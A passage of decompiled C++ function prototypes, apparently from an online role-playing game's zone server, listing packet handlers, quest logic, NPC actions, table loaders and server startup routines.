ZoneRingPacketFindPlayerByNormalUser::zrpb_Failure(ZoneRingPacketFindPlayerByNormalUser *this, #331 *, NETCOMMAND *); void __thiscall ZoneRingPacketKickPlayerOut::zrpb_Failure(ZoneRingPacketKickPlayerOut *this, #331 *, NETCOMMAND *); void __thiscall ZoneRingPacketSummonPartner::zrpb_Request(ZoneRingPacketSummonPartner *this, #331 *, NETCOMMAND *); void __thiscall ZoneRingPacketSummonPartner::zrpb_Success(ZoneRingPacketSummonPartner *this, #331 *, NETCOMMAND *); void __thiscall ZoneRingPacketSummonPartner::zrpb_Failure(ZoneRingPacketSummonPartner *this, #331 *, NETCOMMAND *); void __thiscall ZoneRingPacketRefreshWeddingInfo::zrpb_Success(ZoneRingPacketRefreshWeddingInfo *this, unsigned int RegisterNumber, NETCOMMAND *netcmd); void __thiscall ZoneRingPacketEmtpyInstanceDungeon::zrpb_Request(ZoneRingPacketEmtpyInstanceDungeon *this, #331 *, NETCOMMAND *); void __thiscall ZoneRingPacketEmtpyInstanceDungeon::zrpb_Success(ZoneRingPacketEmtpyInstanceDungeon *this, #331 *, NETCOMMAND *); void __thiscall ZoneRingPacketFindInstanceDungeon::zrpb_Success(ZoneRingPacketFindInstanceDungeon *this, FieldOption::InstanceDungeonInfo *Info, #592 *EmptyField); void __thiscall ZoneRingPacketItemBonus::zrpb_Success(ZoneRingPacketItemBonus *this, #331 *, NETCOMMAND *); void __thiscall ZoneRingPacketExpBonus::zrpb_Success(ZoneRingPacketExpBonus *this, #331 *, NETCOMMAND *); void __thiscall ZoneRingPacketRefreshWeddingInfo::zrpb_Request(ZoneRingPacketRefreshWeddingInfo *this, unsigned int RegisterNumber, NETCOMMAND *netcmd); void __thiscall ZoneRingPacketFindInstanceDungeon::zrpb_Request(ZoneRingPacketFindInstanceDungeon *this, #331 *, NETCOMMAND *, FieldOption::InstanceDungeonInfo *); void __thiscall ZoneIPContainer::_ZoneIPContainer(ZoneIPContainer *this); void __thiscall ZoneIPContainer::zipc_Store(ZoneIPContainer *this, unsigned int machine, char *ipaddr, unsigned __int16 port); Name4 *__thiscall ZoneIPContainer::zipc_GetNextIP(ZoneIPContainer *this); void __thiscall ZoneIPContainer::zipc_SetNextIP(ZoneIPContainer *this, unsigned int mymachine); int __thiscall ZoneIPContainer::zipc_GetNextZoneNo(ZoneIPContainer *this, unsigned int mymachine); char __thiscall ZoneIPContainer::zipc_Mechine2IP(ZoneIPContainer *this, char machine, Name4 *zoneip, unsigned __int16 *port); void __thiscall ZoneIPContainer::ZoneIPContainer(ZoneIPContainer *this); unsigned int __thiscall ClockWatch::cw_Set(ClockWatch *this); void __cdecl message(char *msg); void __thiscall CWeaponTitleZone::CWeaponTitleZone(CWeaponTitleZone *this); void __thiscall CWeaponTitleZone::_CWeaponTitleZone(CWeaponTitleZone *this); void __thiscall CCharacterTitleData::CCharacterTitleData(BinaryData *this); CServerInfo *__thiscall ZoneServer::zs_mechineinfo(ZoneServer *this); CServerInfo::MY_SERVER *__thiscall ZoneServer::zs_worlddata(ZoneServer *this); void __thiscall ZoneServer::zs_serviceend(ZoneServer *this); char *__thiscall ZoneServer::zs_GetServerGroup(ZoneServer *this); char __thiscall ZoneServer::zs_Getportinfo(ZoneServer *this, CServerInfo::SERVER_INFO *serverinfo, int towhere); char __thiscall ZoneServer::zs_ServerConnect2Zone(ZoneServer *this, ZoneBaseSession *session); char __thiscall ZoneServer::zs_ServerConnect(ZoneServer *this, ZoneBaseSession *session, int towhere, int limit); char __thiscall ZoneServer::zs_Start_Acceptor(ZoneServer *this); unsigned int __stdcall ZoneServer::zs_stackcheckfunc(void *param); int __thiscall ZoneServer::zs_PacketProcess(ZoneServer *this, char *from, ZoneBaseSession *session); char __thiscall ShineObjectClass::ShinePlayer::so_ply_LoginIPSet(int this, char a0, char a1, char a2, char a3); void __cdecl EraseOldLogList(char *filename); int __cdecl EraseLog(); std::_Tree_nod,std::allocator,0> >::_Node *__cdecl std::_Tree_std::allocator_0>>::_Min(std::_Tree_nod,std::allocator,0> >::_Node *_Pnode); WinService *__cdecl Singleton::getInstance(); void __thiscall SocketBundle::sb_Routine(SocketBundle *this, char *flag, ZoneServer *zone, int towhere); void __thiscall SleepManager::sm_Sleep(SleepManager *this); void __thiscall SleepManager::sm_Routine(SleepManager *this); void __thiscall ZoneServer::__unnamed::___unnamed(CCsl *this); void __thiscall ZoneServer::_ZoneServer(ZoneServer *this); char __thiscall ZoneServer::zs_Start_StackChecker(ZoneServer *this); void __thiscall ZoneServer::zs_connect(ZoneServer *this); bool __thiscall ZoneServer::ParseCmd(ZoneServer *this, char *cmdLine); void __thiscall SocketBundle::sb_HeartBeatCheck(SocketBundle *this, char *flag); void __thiscall SocketBundle::sb_Packet(SocketBundle *this, char *flag, ZoneServer *zone); void __thiscall SocketBundle::sb_DisconnectCheck(SocketBundle *this, char *flag); void __thiscall ZoneServer::ZoneServer(ZoneServer *this); int __thiscall ZoneServer::zs_start(ZoneServer *this, char *cmdLine); void __thiscall ZoneServer::zs_disconnect(ZoneServer *this); void __thiscall std::_Tree_std::allocator_0>>::_Erase(std::_Tree,std::allocator,0> > *this, std::_Tree_nod,std::allocator,0> >::_Node *_Rootnode); std::_Tree_nod,std::allocator,0> >::_Node *__thiscall std::_Tree_std::allocator_0>>::_Buynode(std::_Tree,std::allocator,0> > *this); unsigned int __stdcall ZoneServer::zs_mainthreadfunction(void *param); char __thiscall ZoneServer::zs_Start_MainThread(ZoneServer *this); char __thiscall ZoneServer::zs_servicestart(ZoneServer *this); unsigned int __stdcall ZoneServer::zs_ServiceThreadFunction(void *param); std::_Tree,std::allocator,0> >::iterator *__thiscall std::_Tree_std::allocator_0>>::erase(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> >::iterator *result, std::_Tree,std::allocator,0> >::iterator _Where); char __thiscall ZoneServer::zs_ServiceRoutineStart(ZoneServer *this); std::_Tree,std::allocator,0> >::iterator *__thiscall std::_Tree_std::allocator_0>>::erase(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> >::iterator *result, std::_Tree,std::allocator,0> >::iterator _First, std::_Tree,std::allocator,0> >::iterator _Last); void __thiscall std::set_std::allocator>::_set_std::allocator>(std::set,std::allocator > *this); void __thiscall std::set_std::allocator>::set_std::allocator>(std::set,std::allocator > *this); // void __thiscall Metronome::Metronome(Metronome *this); void __thiscall FieldMap::fm_StartScript(void *this, int lst, __int16 handle); void __thiscall EventHeartPing::EventHeartPing(EventHeartPing *this); void __thiscall List::_List(List *this); char __thiscall List::l_PushZ(List *this, EventReserveListElement *ele); // int __stdcall Concurrency::_Order_node_base::reserve_message(int); weak char __thiscall List::l_PopA(List *this, EventReserveListElement *ele); char __thiscall List::l_PopZ(List *this, EventReserveListElement *ele); GameDBSession *__thiscall SocketBundle::__unnamed::__unnamed(GameDBSession *this); void __thiscall SocketBundle::__unnamed::___unnamed(void *); // idb GameLogSession *__thiscall SocketBundle::__unnamed::__unnamed(GameLogSession *this); void __thiscall SocketBundle::__unnamed::___unnamed(void *); // idb WorldManagerSession *__thiscall SocketBundle::__unnamed::__unnamed(WorldManagerSession *this); void __thiscall SocketBundle::__unnamed::___unnamed(void *); // idb BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); void __thiscall EventReserveContainer::_EventReserveContainer(EventReserveContainer *this); char __thiscall EventReserveListElement::erle_Routine(EventReserveListElement *this, List *lst, unsigned __int16 handle); char __thiscall List::l_PushA(List *this, EventReserveListElement *ele); // int __stdcall Concurrency::_Order_node_base::reserve_message(int); weak void __thiscall SocketBundle::SocketBundle(SocketBundle *this, int recintv); void __thiscall SocketBundle::_SocketBundle(SocketBundle *this); void __thiscall SocketBundle::SocketBundle(SocketBundle *this, int recintv); void __thiscall SocketBundle::_SocketBundle(SocketBundle *this); void __thiscall SocketBundle::SocketBundle(SocketBundle *this, int recintv); void __thiscall SocketBundle::_SocketBundle(SocketBundle *this); void __thiscall ChargedItemEffectDataBox::cideb_Load(ChargedItemEffectDataBox *this, char *fname, UseEffect::UseItemBase *uib, SkillDataBox::SkillDataIndex *uie); void __thiscall ChargedItemEffectDataBox::cideb_Load(ChargedItemEffectDataBox *this, char *fname, UseEffect::UseItemBase *uib, SkillDataBox::SkillDataIndex *uie); void __thiscall ChargedItemEffectDataBox::cideb_Load(ChargedItemEffectDataBox *this, char *fname, UseEffect::UseItemBase *uib, SkillDataBox::SkillDataIndex *uie); void __thiscall ITableBase::_ITableBase(ITableBase *this); void __thiscall ITableBase::_ITableBase(ITableBase *this); void __thiscall ITableBase::_ITableBase(ITableBase *this); void __thiscall ITableBase::_ITableBase(ITableBase *this); void __thiscall ITableBase::_ITableBase(ITableBase *this); void __thiscall ITableBase::_ITableBase(ITableBase *this); void __thiscall ITableBase::_ITableBase(ITableBase *this); void __thiscall ITableBase::_ITableBase(ITableBase *this); void __thiscall ITableBase::_ITableBase(ITableBase *this); void __thiscall ITableBase::_ITableBase(ITableBase *this); void __thiscall ITableBase::_ITableBase(ITableBase *this); void __thiscall AccUpGradeInfoTable::_AccUpGradeInfoTable(AccUpGradeInfoTable *this); bool __thiscall IIDTableBase::IsValidID(IIDTableBase *this, int ID); bool __thiscall IIDTableBase::DataProcess(IIDTableBase *this); void __thiscall ITableBase::_ITableBase(ITableBase *this); void __thiscall ITableBase::_ITableBase(ITableBase *this); void __thiscall ITableBase::_ITableBase(ITableBase *this); void __thiscall ITableBase::_ITableBase(ITableBase *this); void __thiscall ITableBase::_ITableBase(ITableBase *this); void __thiscall LevelGap_Player_to_Player::_LevelGap_Player_to_Player(LevelGap_Player_to_Player *this); bool __thiscall IIDTableBase::IsValidID(IIDTableBase *this, char ID); bool __thiscall IIDTableBase::DataProcess(IIDTableBase *this); void *__thiscall ITableBase::_vector_deleting_destructor_(ITableBase *this, unsigned int); void *__thiscall ITableBase::_scalar_deleting_destructor_(ITableBase *this, unsigned int); void *__thiscall ITableBase::_vector_deleting_destructor_(ITableBase *this, unsigned int); void *__thiscall ITableBase::_scalar_deleting_destructor_(ITableBase *this, unsigned int); void *__thiscall ITableBase::_vector_deleting_destructor_(ITableBase *this, unsigned int); void *__thiscall ITableBase::_vector_deleting_destructor_(ITableBase *this, unsigned int); void *__thiscall ITableBase::_scalar_deleting_destructor_(ITableBase *this, unsigned int); void *__thiscall ITableBase::_scalar_deleting_destructor_(ITableBase *this, unsigned int); void *__thiscall ITableBase::_vector_deleting_destructor_(ITableBase *this, unsigned int); void *__thiscall ITableBase::_vector_deleting_destructor_(ITableBase *this, unsigned int); void *__thiscall ITableBase::_scalar_deleting_destructor_(ITableBase *this, unsigned int); void *__thiscall ITableBase::_vector_deleting_destructor_(ITableBase *this, unsigned int); void *__thiscall ITableBase::_vector_deleting_destructor_(ITableBase *this, unsigned int); void *__thiscall ITableBase::_scalar_deleting_destructor_(ITableBase *this, unsigned int); void *__thiscall ITableBase::_vector_deleting_destructor_(ITableBase *this, unsigned int); void *__thiscall ITableBase::_vector_deleting_destructor_(ITableBase *this, unsigned int); NPCAction::IAction **__cdecl std::copy(NPCAction::IAction **_First, NPCAction::IAction **_Last, NPCAction::IAction **_Dest); void __thiscall List::l_Clear(List *this); int __stdcall std::vector>::_Ucopy(char *src, int a2, char *dst); void __thiscall List::l_MakeList(List *this, unsigned __int16 size); void __thiscall GuildTournamentScoreTable::GuildTournamentScoreTable(GuildTournamentScoreTable *this); void *__thiscall GuildTournamentScoreTable::_scalar_deleting_destructor_(GuildTournamentScoreTable *this, unsigned int); void __thiscall GuildTournamentScoreTable::_GuildTournamentScoreTable(GuildTournamentScoreTable *this); void __thiscall GuildTournamentLvGapTable::GuildTournamentLvGapTable(GuildTournamentLvGapTable *this); void *__thiscall GuildTournamentLvGapTable::_scalar_deleting_destructor_(GuildTournamentLvGapTable *this, unsigned int); void __thiscall GuildTournamentLvGapTable::_GuildTournamentLvGapTable(GuildTournamentLvGapTable *this); void __thiscall GuildTournamentOccupyTable::GuildTournamentOccupyTable(GuildTournamentOccupyTable *this); void *__thiscall GuildTournamentOccupyTable::_vector_deleting_destructor_(GuildTournamentOccupyTable *this, unsigned int); void __thiscall GuildTournamentOccupyTable::_GuildTournamentOccupyTable(GuildTournamentOccupyTable *this); void __thiscall GuildTournamentSkillTable::GuildTournamentSkillTable(GuildTournamentSkillTable *this); void *__thiscall GuildTournamentSkillTable::_scalar_deleting_destructor_(GuildTournamentSkillTable *this, unsigned int); void __thiscall GuildTournamentSkillTable::_GuildTournamentSkillTable(GuildTournamentSkillTable *this); void __thiscall GuildTournamentMasterBuffTable::GuildTournamentMasterBuffTable(GuildTournamentMasterBuffTable *this); void *__thiscall GuildTournamentMasterBuffTable::_vector_deleting_destructor_(GuildTournamentMasterBuffTable *this, unsigned int); void __thiscall GuildTournamentMasterBuffTable::_GuildTournamentMasterBuffTable(GuildTournamentMasterBuffTable *this); void __thiscall GTIGetRateTable::GTIGetRateTable(GTIGetRateTable *this); void *__thiscall GTIGetRateTable::_vector_deleting_destructor_(GTIGetRateTable *this, unsigned int); void __thiscall GTIGetRateTable::_GTIGetRateTable(GTIGetRateTable *this); void __thiscall GTIGetRateGapTable::GTIGetRateGapTable(GTIGetRateGapTable *this); void *__thiscall GTIGetRateGapTable::_vector_deleting_destructor_(GTIGetRateGapTable *this, unsigned int); void __thiscall GTIGetRateGapTable::_GTIGetRateGapTable(GTIGetRateGapTable *this); void __thiscall GTIServerTable::GTIServerTable(GTIServerTable *this); void *__thiscall GTIServerTable::_scalar_deleting_destructor_(GTIServerTable *this, unsigned int); void __thiscall GTIServerTable::_GTIServerTable(GTIServerTable *this); void __thiscall GTIBreedSubjectTable::GTIBreedSubjectTable(GTIBreedSubjectTable *this); void *__thiscall GTIBreedSubjectTable::_scalar_deleting_destructor_(GTIBreedSubjectTable *this, unsigned int); void __thiscall GTIBreedSubjectTable::_GTIBreedSubjectTable(GTIBreedSubjectTable *this); void __thiscall GTWinScoreTable::GTWinScoreTable(GTWinScoreTable *this); void *__thiscall GTWinScoreTable::_scalar_deleting_destructor_(GTWinScoreTable *this, unsigned int); void __thiscall GTWinScoreTable::_GTWinScoreTable(GTWinScoreTable *this); void __thiscall AccUpGradeTable::AccUpGradeTable(AccUpGradeTable *this); void *__thiscall AccUpGradeTable::_scalar_deleting_destructor_(AccUpGradeTable *this, unsigned int); void __thiscall AccUpGradeTable::_AccUpGradeTable(AccUpGradeTable *this); void __thiscall MysteryVaultTable::MysteryVaultTable(MysteryVaultTable *this); void *__thiscall MysteryVaultTable::_scalar_deleting_destructor_(MysteryVaultTable *this, unsigned int); void __thiscall MysteryVaultTable::_MysteryVaultTable(MysteryVaultTable *this); void __thiscall LevelGap_Player_to_Monster::LevelGap_Player_to_Monster(LevelGap_Player_to_Monster *this); void *__thiscall LevelGap_Player_to_Monster::_vector_deleting_destructor_(LevelGap_Player_to_Monster *this, unsigned int); void __thiscall LevelGap_Player_to_Monster::_LevelGap_Player_to_Monster(LevelGap_Player_to_Monster *this); void __thiscall LevelGap_Monster_to_Player::LevelGap_Monster_to_Player(LevelGap_Monster_to_Player *this); void *__thiscall LevelGap_Monster_to_Player::_scalar_deleting_destructor_(LevelGap_Monster_to_Player *this, unsigned int); void __thiscall LevelGap_Monster_to_Player::_LevelGap_Monster_to_Player(LevelGap_Monster_to_Player *this); void __thiscall IIDTableBase::IIDTableBase(IIDTableBase *this); void __thiscall IIDTableBase::IIDTableBase(IIDTableBase *this); void __thiscall EventReserveContainer::EventReserveContainer(EventReserveContainer *this, int maxevent); bool __cdecl ITableBase::Load(const char *acFn, bool bErrorWhenOpenFailed); bool __cdecl ITableBase::Load(const char *acFn, bool bErrorWhenOpenFailed); bool __cdecl ITableBase::Load(const char *acFn, bool bErrorWhenOpenFailed); bool __cdecl ITableBase::Load(const char *acFn, bool bErrorWhenOpenFailed); bool __cdecl ITableBase::Load(const char *acFn, bool bErrorWhenOpenFailed); bool __cdecl ITableBase::Load(const char *acFn, bool bErrorWhenOpenFailed); bool __cdecl ITableBase::Load(const char *acFn, bool bErrorWhenOpenFailed); bool __cdecl ITableBase::Load(const char *acFn, bool bErrorWhenOpenFailed); bool __cdecl ITableBase::Load(const char *acFn, bool bErrorWhenOpenFailed); bool __cdecl ITableBase::Load(const char *acFn, bool bErrorWhenOpenFailed); bool __cdecl ITableBase::Load(const char *acFn, bool bErrorWhenOpenFailed); bool __cdecl ITableBase::Load(const char *acFn, bool bErrorWhenOpenFailed); bool __cdecl ITableBase::Load(const char *acFn, bool bErrorWhenOpenFailed); bool __cdecl ITableBase::Load(const char *acFn, bool bErrorWhenOpenFailed); void *__thiscall AccUpGradeInfoTable::_scalar_deleting_destructor_(AccUpGradeInfoTable *this, unsigned int); void *__thiscall IIDTableBase::_vector_deleting_destructor_(LevelGap_Player_to_Player *this, unsigned int); bool __cdecl ITableBase::Load(const char *acFn, bool bErrorWhenOpenFailed); bool __cdecl ITableBase::Load(const char *acFn, bool bErrorWhenOpenFailed); void __thiscall std::vector>::_Xlen(std::vector > *this); void __cdecl Table::Load(const char *pkChar); void __cdecl Table::Load(const char *pkChar); void __cdecl Table::Load(const char *pkChar); void __cdecl Table::Load(const char *pkChar); void __cdecl Table::Load(const char *pkChar); void __cdecl Table::Load(const char *pkChar); void __cdecl Table::Load(const char *pkChar); void __cdecl Table::Load(const char *pkChar); void __cdecl Table::Load(const char *pkChar); void __cdecl Table::Load(const char *pkChar); void __cdecl Table::Load(const char *pkChar); void __cdecl Table::Load(const char *pkChar); void __cdecl Table::Load(const char *pkChar); void __cdecl Table::Load(const char *pkChar); void __cdecl Table::Load(const char *pkChar); void __cdecl Table::Load(const char *pkChar); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, NPCAction::ICondition *const *_Val); void __thiscall std::vector>::resize(std::vector > *this, unsigned int _Newsize, NPCAction::ICondition *_Val); void __thiscall NPCAction::Manager::generate_n(NPCAction::Manager *this, unsigned int n, NPCAction::CondGen_OptionReader generator); void __thiscall NPCAction::Manager::generate_n(NPCAction::Manager *this, unsigned int n, NPCAction::ActionGen_OptionReader generator); bool __cdecl NPCAction::Util::loadFromOptionReader>(NPCAction::Manager *destManager, const char *fileName); bool __cdecl NPCAction::Util::loadFromOptionReader>(NPCAction::Manager *destManager, const char *fileName); void __thiscall ZoneServer::zs_start_old(ZoneServer *this); int __thiscall CCharacterTitleData::Read(CCharacterTitleData *this, const char *pFN, unsigned int nVersionKey, unsigned int nStructSize); void __thiscall CAnnounceSystem::Send_PROTO_NC_ANNOUNCE_Z2W_CMD(CAnnounceSystem *this, char AnnounceType, const char *Msg); int __thiscall CAnnounceSystem::AnnounceSystem_ItemUpgrade(CAnnounceSystem *this, Name4 *pCharName, unsigned __int16 nItemID, char nItemLevel); int __thiscall CAnnounceSystem::AnnounceSystem_ItemTake(CAnnounceSystem *this, Name4 *pCharName, unsigned __int16 nItemID); int __thiscall CAnnounceSystem::AnnounceSystem_LevelMax(CAnnounceSystem *this, Name4 *pCharName, char nLevel); int __thiscall CAnnounceSystem::AnnounceSystem_ClassUp(CAnnounceSystem *this, Name4 *pCharName, char nClassID); int __thiscall CAnnounceSystem::AnnounceSystem_CharacterTitle(CAnnounceSystem *this, Name4 *pCharName, char nCTType, char nCTElementNo); int __thiscall CAnnounceSystem::AnnounceSystem_Roar(CAnnounceSystem *this, Name4 *pCharName, const char *Message); int __thiscall CAnnounceSystem::AnnounceSystem_ProposeAccept(CAnnounceSystem *this, Name4 *Requestor, Name4 *Acceptor); int __thiscall CAnnounceSystem::AnnounceSystem_WeddingStart(CAnnounceSystem *this, Name4 *Name1, Name4 *Name2); signed int __stdcall ShineObjectClass::ShineObject::so_Prison_Go(__int16 nPrisonMin); void __thiscall ShineObjectClass::ShinePlayer::so_Prison_Go(void *this, __int16 nPrisonMin); void __stdcall ShineObjectClass::ShineObject::so_Prison_End(int mapname, int coord); void __thiscall ShineObjectClass::ShinePlayer::so_Prison_End(void *this, int mapname, int coord); void __thiscall FieldMap::fm_QuestPS_Start(void *this, char *filename, char *initflag); void __thiscall CQuestZone::CQuestZone(CQuestZone *this, CQuestData *pQuestData); void __thiscall CQuestZone::_CQuestZone(CQuestZone *this); void __thiscall CQuestZone::qz_SetObject(CQuestZone *this, #440 *pPlayer); char __thiscall QuestRewardPacket::qrp_StoreItem(QuestRewardPacket *this, unsigned __int16 itm, int lot); char __thiscall CQuestZone::GetQuestPlayerLevel(CQuestZone *this); char __thiscall CQuestZone::GetQuestPlayerRace(CQuestZone *this); char __thiscall CQuestZone::GetQuestPlayerClass(CQuestZone *this); char __thiscall CQuestZone::GetQuestPlayerGender(CQuestZone *this); void __thiscall CQuestZone::InitNewPlayer(CQuestZone *this); int __thiscall CQuestZone::QuestClose(CQuestZone *this); int __thiscall CQuestZone::QuestCheckRewardInven(CQuestZone *this, int nNumOfNeedEmptyInven, ChargedEffectContainer *cec); char __thiscall QuestRewardPacket::qrp_Send2DB(QuestRewardPacket *this, #440 *ply); int __thiscall CQuestZone::QuestCheckSelectReward(CQuestZone *this, unsigned __int16 nQuestID, unsigned int nSelectedItem); int __thiscall CQuestZone::QuestTakeReward(CQuestZone *this, unsigned __int16 nQuestID, unsigned int nSelectedItem); int __thiscall CQuestZone::QuestPlayer_NPCClickCheck(CQuestZone *this, unsigned __int16 nNPCID); void __thiscall CQuestZone::GetPlayerCurrentLocation(CQuestZone *this, unsigned __int16 *nLocation, unsigned int *LocationX, unsigned int *LocationY); unsigned __int16 __thiscall CQuestZone::GetQuestPlayerItemLot(CQuestZone *this, unsigned __int16 nItemID); char __thiscall CQuestZone::GetQuestPlayerEmptyInventory(CQuestZone *this); int __thiscall CQuestZone::GetSuccessItemCount(CQuestZone *this, QUEST_DATA *pQuestData, unsigned __int16 nItemID); void __thiscall CQuestZone::Send_NC_QUEST_SCRIPT_CMD_REQ(CQuestZone *this, unsigned __int16 nQuestID, STRUCT_QSC *pQSC); int __thiscall CQuestZone::Send_NC_QUEST_DB_SET_INFO_REQ(CQuestZone *this, PLAYER_QUEST_INFO *pQuestInfo, STRUCT_QSC *pQSC); int __thiscall CQuestZone::Send_NC_QUEST_DB_CLEAR_REQ(CQuestZone *this, unsigned __int16 nQuestID); int __thiscall CQuestZone::Send_NC_QUEST_GIVE_UP_ACK(CQuestZone *this, unsigned __int16 nID, unsigned __int16 Error); int __thiscall CQuestZone::Send_NC_QUEST_DB_GIVE_UP_REQ(CQuestZone *this, unsigned __int16 nQuestID); void __thiscall CQuestZone::Recv_NC_QUEST_DB_GIVE_UP_ACK(CQuestZone *this, PROTO_NC_QUEST_DB_GIVE_UP_ACK *pAck); int __thiscall CQuestZone::Send_NC_QUEST_CLIENT_SCENARIO_DONE_ACK(CQuestZone *this, unsigned __int16 nScenarioID); int __thiscall CQuestZone::Send_NC_QUEST_NOTIFY_MOB_KILL_CMD(CQuestZone *this, unsigned __int16 nMobID); int __thiscall CQuestZone::Send_NC_QUEST_SCENARIO_RUN_CMD(CQuestZone *this, unsigned __int16 nScenarioID); int __thiscall CQuestZone::Send_NC_QUEST_SELECT_START_ACK(CQuestZone *this, unsigned __int16 nNPCID, unsigned __int16 nID, unsigned __int16 Error); int __thiscall CQuestZone::Recv_NC_QUEST_REWARD_SELECT_ITEM_INDEX_CMD(CQuestZone *this, PROTO_NC_QUEST_REWARD_SELECT_ITEM_INDEX_CMD *pCmd); int __thiscall CQuestZone::Send_NC_QUEST_REWARD_NEED_SELECT_ITEM_CMD(CQuestZone *this, unsigned __int16 nID); int __thiscall CQuestZone::MakeStruct_NC_CHARSAVE_QUEST_DOING_REQ(CQuestZone *this, PROTO_NC_CHARSAVE_QUEST_DOING_REQ *pPacketBuffer); int __thiscall CQuestZone::MakeStruct_NC_CHARSAVE_2WLDMAN_QUEST_DOING_CMD(CQuestZone *this, PROTO_NC_CHARSAVE_2WLDMAN_QUEST_DOING_CMD *pPacketBuffer); int __thiscall CQuestZone::MakeStruct_NC_CHARSAVE_2WLDMAN_QUEST_DONE_CMD(CQuestZone *this, PROTO_NC_CHARSAVE_2WLDMAN_QUEST_DONE_CMD *pPacketBuffer); int __thiscall CQuestZone::PsStart(CQuestZone *this, char *pScriptFileName, char *pStartBlockName); int __thiscall CQuestZone::QuestStart(CQuestZone *this, unsigned __int16 nQuestID); int __thiscall CQuestZone::QuestDoing(CQuestZone *this, unsigned __int16 nQuestID); int __thiscall CQuestZone::QuestEnd(CQuestZone *this, unsigned __int16 nQuestID); int __thiscall CQuestZone::QuestCheckReward(CQuestZone *this, unsigned __int16 nQuestID, unsigned int nSelectedItem, ChargedEffectContainer *cec); int __thiscall CQuestZone::QuestActionMobKill(CQuestZone *this, PLAYER_QUEST_INFO *pQuestInfo, QUEST_DATA *pQuestData, int ActionNo, #331 *mob); int __thiscall CQuestZone::QuestPlayer_ScenarioDone_Server(CQuestZone *this, unsigned __int16 nScenarioID); void __thiscall CQuestZone::Send_QUEST_ERROR_TO_CLIENT(CQuestZone *this, unsigned __int16 nErrCode); void __thiscall CQuestZone::Recv_NC_QUEST_SCRIPT_CMD_ACK(CQuestZone *this, PROTO_NC_QUEST_SCRIPT_CMD_ACK *pAck); void __thiscall CQuestZone::Recv_NC_QUEST_GIVE_UP_REQ(CQuestZone *this, PROTO_NC_QUEST_GIVE_UP_REQ *pReq); int __thiscall CQuestZone::Recv_NC_QUEST_CLIENT_SCENARIO_DONE_REQ(CQuestZone *this, PROTO_NC_QUEST_CLIENT_SCENARIO_DONE_REQ *pReq); int __thiscall CQuestZone::QuestPlayer_NPCMobKill(CQuestZone *this, #331 *mob); int __thiscall CQuestZone::QuestPlayer_ScenarioRun(CQuestZone *this, unsigned __int16 nQuestID, STRUCT_QSC *pQSC); int __thiscall CQuestZone::QuestNext(CQuestZone *this); void __thiscall CQuestZone::Recv_NC_QUEST_DB_SET_INFO_ACK(CQuestZone *this, PROTO_NC_QUEST_DB_SET_INFO_ACK *pAck); void __thiscall CQuestZone::Recv_NC_QUEST_DB_CLEAR_ACK(CQuestZone *this, PROTO_NC_QUEST_DB_CLEAR_ACK *pAck); void __thiscall CQuestZone::Recv_NC_ITEMDB_QUESTREWARD_ACK(CQuestZone *this, PROTO_NC_ITEMDB_QUESTREWARD_ACK *pAck); int __thiscall CQuestZone::PsEnd(CQuestZone *this, unsigned int nResult); void __thiscall ShineObjectClass::ShinePlayer::so_ply_Return2Quest(void *this, unsigned int returnvalue); int __thiscall CQuestZone::QuestScriptRun(CQuestZone *this, PLAYER_QUEST_STATUS nStatus, unsigned __int16 nQuestID); int __thiscall CQuestZone::QuestPlayer_NPCClick(CQuestZone *this, unsigned __int16 nNPCID); int __thiscall CQuestZone::Recv_NC_QUEST_SELECT_START_REQ(CQuestZone *this, PROTO_NC_QUEST_SELECT_START_REQ *pReq); void __thiscall NPCAction::DieAction::_DieAction(SlantedCoordList::ObjectYCoordNode *this); void __thiscall NPCAction::ActionGen_OptionReader::ActionGen_OptionReader(NPCAction::ActionGen_OptionReader *this, OptionReader *optionReader); void __thiscall NPCAction::InteractAction::exe(NPCAction::InteractAction *this, #331 *, #331 *); void __thiscall NPCAction::DispelAction::exe(NPCAction::DispelAction *this, #331 *, #331 *); void __thiscall NPCAction::EmotionlAction::exe(NPCAction::EmotionlAction *this, #331 *, #331 *); void __thiscall NPCAction::AbStateAction::exe(NPCAction::AbStateAction *this, #331 *, #331 *); void __thiscall NPCAction::SkillAction::SkillAction(NPCAction::SkillAction *this, const unsigned __int16 skillID); void __thiscall NPCAction::SkillAction::exe(NPCAction::SkillAction *this, #331 *, #331 *); void __thiscall NPCAction::DieAction::exe(NPCAction::DieAction *this, #331 *, #331 *); void __thiscall NPCAction::GTItemAction::exe(NPCAction::GTItemAction *this, #331 *, #331 *); void *__thiscall NPCAction::GTItemAction::_scalar_deleting_destructor_(NPCAction::GTItemAction *this, unsigned int); unsigned int __thiscall NPCAction::ActionGen_OptionReader::size(NPCAction::ActionGen_OptionReader *this); void __thiscall NPCAction::NoticeAction::exe(NPCAction::NoticeAction *this, #331 *, #331 *); void __thiscall NPCAction::NoticeAction::NoticeAction(NPCAction::NoticeAction *this, const char *content); void *__thiscall NPCAction::NoticeAction::_scalar_deleting_destructor_(NPCAction::NoticeAction *this, unsigned int); void __thiscall NPCAction::NoticeAction::_NoticeAction(NPCAction::NoticeAction *this); NPCAction::IAction *__thiscall NPCAction::ActionGen_OptionReader::operator__(NPCAction::ActionGen_OptionReader *this); void __thiscall NPCAction::ICondition::ICondition(NPCAction::ICondition *this); unsigned __int16 __thiscall NPCAction::NoneCondition::notify(NPCAction::NoneCondition *this, #331 *, #331 *, IObserver::Event, const unsigned int, const int, unsigned int); bool __thiscall NPCAction::NoneCondition::needToAttach(NPCAction::NoneCondition *this); void __thiscall NPCAction::ABStateCondition::ABStateCondition(NPCAction::ABStateCondition *this, AbnormalStateInfo::ABSTATEINDEX index, const unsigned int termLow, const unsigned int termHigh); unsigned __int16 __thiscall NPCAction::ABStateCondition::notify(NPCAction::ABStateCondition *this, #331 *, #331 *, IObserver::Event, const unsigned int, const int, unsigned int); void __thiscall NPCAction::SkillCondition::SkillCondition(NPCAction::SkillCondition *this, const unsigned __int16 skillID, const unsigned int termLow, const unsigned int termHigh); unsigned __int16 __thiscall NPCAction::SkillCondition::notify(NPCAction::SkillCondition *this, #331 *, #331 *, IObserver::Event, const unsigned int, const int, unsigned int); unsigned __int16 __thiscall NPCAction::DeadCondition::notify(NPCAction::DeadCondition *this, 